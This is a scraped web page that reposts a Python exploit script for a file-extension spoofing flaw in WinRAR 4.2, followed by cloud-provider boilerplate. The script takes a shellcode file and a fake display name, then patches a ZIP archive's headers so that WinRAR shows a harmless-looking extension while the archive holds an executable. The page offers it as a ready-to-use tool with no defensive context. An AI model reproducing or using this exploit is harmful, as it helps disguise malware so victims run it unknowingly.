WinRar 4.2 file suffix Spoofing Vulnerability EXP

Source: Internet
Author: User

Enter the name of the program to be run, the name to be displayed, and the output file name.

import zipfileimport binasciiprint " Code By Cond0r\n [url]http://www.sitedirsec.com[/url]\n [url]http://php.mu[/url]"newname=raw_input("Shellcode File:")realname=raw_input("Display Name:")zipname=raw_input("Out Name:")def copy(file,tofile):    open(tofile, "wb").write(open(file, "rb").read())def _zipfile(filename,shellcode):    f = zipfile.ZipFile(filename, ''w'' ,zipfile.ZIP_DEFLATED)    f.write(shellcode)    f.close()if newname and realname and zipname:    copy(newname,realname)    newname_ext="."+newname.split(".")[-1]    realname_ext="."+realname.split(".")[-1]    if len(realname_ext)>len(newname_ext):        newname_ext=" "*(len(realname_ext)-len(newname_ext))+newname_ext    realname_hex=binascii.hexlify(realname)    print "Display name:"+realname    realname_to=binascii.hexlify(realname.replace(realname_ext,newname_ext))    print "Real name:"+realname.replace(realname_ext,newname_ext)    print "Hex:"+realname_to    #print binascii.hexlify(realname)    _zipfile(zipname,realname)    data=binascii.hexlify(open(zipname).read()).split(binascii.hexlify(realname))    data=data[0]+binascii.hexlify(realname.replace(realname_ext,newname_ext))+data[1]+realname_hex+data[2]    #print "Out Data:"+ data    open(zipname,''wb'').write(binascii.unhexlify(data))    print "OK"

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.